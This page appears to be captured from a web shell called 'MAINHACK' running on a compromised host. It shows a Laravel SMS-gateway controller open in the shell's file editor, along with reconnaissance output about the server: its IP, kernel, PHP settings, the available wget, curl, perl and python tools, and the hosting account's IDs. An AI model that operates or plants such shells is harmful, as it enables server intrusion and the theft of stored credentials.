[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: SMSModuleController.php
<?php namespace App\Http\Controllers\Admin; use App\CentralLogics\Helpers; use App\Http\Controllers\Controller; use App\Models\BusinessSetting; use Illuminate\Http\Request; use Illuminate\Support\Facades\DB; class SMSModuleController extends Controller { public function sms_index() { return view('admin-views.business-settings.sms-index'); } public function sms_update(Request $request, $module) { if ($module == 'twilio_sms') { DB::table('business_settings')->updateOrInsert(['key' => 'twilio_sms'], [ 'key' => 'twilio_sms', 'value' => json_encode([ 'status' => $request['status'], 'sid' => $request['sid'], 'messaging_service_id' => $request['messaging_service_id'], 'token' => $request['token'], 'from' => $request['from'], 'otp_template' => $request['otp_template'], ]), 'created_at' => now(), 'updated_at' => now(), ]); } elseif ($module == 'nexmo_sms') { DB::table('business_settings')->updateOrInsert(['key' => 'nexmo_sms'], [ 'key' => 'nexmo_sms', 'value' => json_encode([ 'status' => $request['status'], 'api_key' => $request['api_key'], 'api_secret' => $request['api_secret'], 'signature_secret' => '', 'private_key' => '', 'application_id' => '', 'from' => $request['from'], 'otp_template' => $request['otp_template'] ]), 'created_at' => now(), 'updated_at' => now(), ]); } elseif ($module == '2factor_sms') { DB::table('business_settings')->updateOrInsert(['key' => '2factor_sms'], [ 'key' => '2factor_sms', 'value' => json_encode([ 'status' => $request['status'], 'api_key' => $request['api_key'], ]), 'created_at' => now(), 'updated_at' => now(), ]); } elseif ($module == 'msg91_sms') { DB::table('business_settings')->updateOrInsert(['key' => 'msg91_sms'], [ 'key' => 'msg91_sms', 'value' => json_encode([ 'status' => $request['status'], 'template_id' => $request['template_id'], 'authkey' => $request['authkey'], ]), 'created_at' => now(), 'updated_at' => now(), ]); } if ($request['status'] == 1) { if ($module != 'twilio_sms') { $config = Helpers::get_business_settings('twilio_sms'); DB::table('business_settings')->updateOrInsert(['key' => 'twilio_sms'], [ 'key' => 'twilio_sms', 'value' => json_encode([ 'status' => 0, 'sid' => $config['sid'], 'token' => $config['token'], 'from' => $config['from'], 'otp_template' => $config['otp_template'], ]), 'created_at' => now(), 'updated_at' => now(), ]); } if ($module != 'nexmo_sms') { $config = Helpers::get_business_settings('nexmo_sms'); DB::table('business_settings')->updateOrInsert(['key' => 'nexmo_sms'], [ 'key' => 'nexmo_sms', 'value' => json_encode([ 'status' => 0, 'api_key' => $config['api_key'], 'api_secret' => $config['api_secret'], 'signature_secret' => '', 'private_key' => '', 'application_id' => '', 'from' => $config['from'], 'otp_template' => $config['otp_template'] ]), 'created_at' => now(), 'updated_at' => now(), ]); } if ($module != '2factor_sms') { $config = Helpers::get_business_settings('2factor_sms'); DB::table('business_settings')->updateOrInsert(['key' => '2factor_sms'], [ 'key' => '2factor_sms', 'value' => json_encode([ 'status' => 0, 'api_key' => $config['api_key'], ]), 'created_at' => now(), 'updated_at' => now(), ]); } if ($module != 'msg91_sms') { $config = Helpers::get_business_settings('msg91_sms'); DB::table('business_settings')->updateOrInsert(['key' => 'msg91_sms'], [ 'key' => 'msg91_sms', 'value' => json_encode([ 'status' => 0, 'template_id' => $config['template_id'], 'authkey' => $config['authkey'], ]), 'created_at' => now(), 'updated_at' => now(), ]); } } return back(); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium166.web-hosting.com
Server IP: 162.0.209.40
PHP Version: 8.2.30
Server Software: LiteSpeed
System: Linux premium166.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 75.09 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kataubyb
User ID (UID): 624
Group ID (GID): 625
Script Owner UID: 624
Current Dir Owner: 624